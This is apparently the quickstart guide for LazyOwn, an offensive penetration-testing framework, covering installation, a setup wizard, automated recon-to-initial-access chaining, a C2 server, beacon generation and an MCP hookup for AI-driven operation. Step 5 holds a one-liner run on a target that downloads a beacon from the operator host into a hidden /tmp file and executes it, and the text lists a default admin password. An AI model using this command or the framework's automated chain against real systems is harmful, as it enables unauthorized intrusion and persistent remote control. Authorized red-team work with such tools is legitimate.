Quickstart

LazyOwn — 5-Minute Quickstart

Everything you need to go from a fresh clone to an active engagement.

After setup, read ESSENTIALS.md for the 18 commands that cover 80% of engagements.

---

Prerequisites

• Kali Linux / Parrot OS (or any Debian-based distro)
• Python 3.10+
• git, make, gcc
• SecLists at /usr/share/seclists (or /usr/share/wordlists/SecLists-master)

sudo apt install -y seclists 2>/dev/null || true

---

Step 1 — Clone and install

Fastest path (one-liner: clones into ~/LazyOwn, installs, then asks whether to start a normal ./run session or the full fast_run_as_r00t.sh stack):

curl -fsSL https://raw.githubusercontent.com/grisuno/LazyOwn/main/bootstrap.sh -o /tmp/bootstrap.sh \
  && bash /tmp/bootstrap.sh

(One-command alternative: curl -fsSL https://raw.githubusercontent.com/grisuno/LazyOwn/main/bootstrap.sh | bash.)

If ~/LazyOwn already exists, the installer asks whether to update in place, do a clean reinstall (backing up payload.json to /tmp first), use another directory, or abort. Use --existing update|clean|abort to skip the question in scripts.

With install options and a custom directory:

curl -fsSL https://raw.githubusercontent.com/grisuno/LazyOwn/main/bootstrap.sh | bash -s -- --with-tools --dir ~/pentest/LazyOwn

Or step by step:

git clone https://github.com/grisuno/LazyOwn.git
cd LazyOwn
bash install.sh

install.sh creates the virtualenv at env/, installs the pinned Python deps from requirements.txt (runtime-only lock), seeds payload.json from the example, and generates cert.pem / key.pem for the C2. It is idempotent: re-running it updates in place. The default install is light; heavy extras are opt-in:

bash install.sh --with-ml       # add the 2 GB torch/CUDA + scikit-learn stack
bash install.sh --with-ollama   # add the local Ollama runtime
bash install.sh --with-tools    # apt-install gobuster, ffuf, enum4linux, seclists, responder, ...

Dependencies are declared once in pyproject.toml and pinned in requirements.txt (cross-platform core) and requirements-ml.txt (optional ML). Developers can instead use pip install -e .[ml,dev].

Zero-dependency evaluation with Docker

docker run -it ghcr.io/grisuno/lazyown:latest

The published image ships the framework ready to run — useful to evaluate LazyOwn or run a throwaway engagement without touching your host Python. Use bash install.sh on the host for day-to-day work; lazyown-docker/ holds the legacy full-stack compose variant kept for reference.

---

Step 2 — Run the guided setup wizard

./run

First, confirm the install is healthy:

(LazyOwn) > doctor

doctor checks your Python version, virtual environment, the third-party packages install.sh provisions, the C2 certificates, SecLists, and the external kill-chain tooling. Blocking failures are shown in red with the exact pip install / apt install command to fix them; warnings are optional features you can skip.

Then run the setup wizard. On first launch you will be prompted to run wizard. Accept. The wizard auto-detects your lhost from the routing table, walks you through 7 steps, and writes everything to payload.json.

(LazyOwn) > wizard

Or run the config readiness check without changing anything:

(LazyOwn) > wizard --check

---

Step 3 — Start recon (the golden path)

(LazyOwn) > ping           # confirm target is alive + detect OS
(LazyOwn) > lazynmap       # full port scan → sessions/scan_<rhost>.nmap
(LazyOwn) > auto_populate  # parse the scan XML into payload.json context
(LazyOwn) > facts_show     # see what was discovered

That is the core loop. Everything else is built on top of it. For a full end-to-end example with expected outputs, see the guided walkthrough: docs/examples/htb-lame-walkthrough.md.

Or run it all in one command

(LazyOwn) > engage         # uses rhost, or: engage 10.10.11.5

engage drives the same chain automatically — ping/OS detect → nmap → auto_populate → enum → exploit-search → initial access — auto-switching to the next tool when a step fails and narrating progress to sessions/engagement.log. With auto_approve false in payload.json it pauses for your approval before each gated phase (engage --status to watch, engage --approve <id> to release). Use the four manual steps above when you want to inspect each result; reach for engage when you just want a shell.

---

Step 4 — Start the C2

In a second terminal:

bash fast_run_as_r00t.sh --no-attach --vpn 1

Or start it inline from the shell:

(LazyOwn) > lazyc2

The C2 starts at https://<lhost>:<c2_port> with the credentials from payload.json (c2_user / c2_pass). The setup wizard auto-rotates the factory CHANGE_ME placeholders into a generated random password — if you skipped the wizard, set your own with assign c2_user <name> and assign c2_pass <strong-password> before exposing the panel. On first boot the RBAC store also creates an initial web admin (admin / LazyOwnAdmin2024!) — change it immediately from the admin users panel.

---

Step 5 — Get your first shell

# Generate and deliver the Go beacon (two-stage, XOR-encoded)
(LazyOwn) > lazymsfvenom

# Or drop the Linux C beacon with BOF support
(LazyOwn) > blacksandbeacon
# Then run on target:
# curl -sk "http://<lhost>:<lport>/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &

Once a beacon checks in, manage it from the C2 dashboard at https://<lhost>:<c2_port>.

---

Step 6 (optional) — Connect Hermes Agent

bash scripts/setup_hermes_mcp.sh

Then restart Hermes or run /reload-mcp. LazyOwn exposes 153 MCP tools for AI-assisted operation.

See AGENTS.md for the Hermes integration guide.

---

Step 7 (optional) — Invite teammates

(LazyOwn) > collab_join alice

Prints the team dashboard URL. Everyone connects to https://<lhost>:<c2_port>/collab/?operator=<handle>.

---

What to read next

File	Read when
ESSENTIALS.md	You want the 18 core commands (start here after this doc)
CHEATSHEET.md	You know the basics and need the next 40 frequent commands
skills/lazyown.md	You are operating via MCP (AI operator)
COMMANDS.md	You need the full 748-command reference
CLAUDE.md	You are developing or extending the framework

---

Key files

File	Purpose
payload.json	Single source of truth — all config lives here
sessions/scan_<ip>.nmap	Nmap output — read before re-scanning
sessions/world_model.json	Current phase, discovered hosts, creds
sessions/credentials*.txt	Captured credentials
sessions/LazyOwn_session_report.csv	Full command history

---

Troubleshooting

wizard can't detect lhost — run ip route and set it manually:

(LazyOwn) > assign lhost 10.10.14.3

C2 TLS errors — regenerate certs:

bash gen_cert.sh

Nmap taking too long — check sessions/scan_<rhost>.nmap first; it may already exist from a previous run. facts_show reads it without rescanning.

Missing SecLists — install with sudo apt install seclists or set dirwordlist manually:

(LazyOwn) > assign dirwordlist /path/to/wordlist.txt

A command fails with MissingDependencyError — a heavy optional package (for example pycryptodome, python-libnmap, impacket) is not installed. The shell itself keeps running; only the dependent feature is affected. The error names the exact pip install command. To list every optional dependency and its status without launching the shell (useful when the install is so broken that rich or cmd2 will not import):

python3 -m core.dependencies

Then reinstall everything with pip install -r requirements.txt.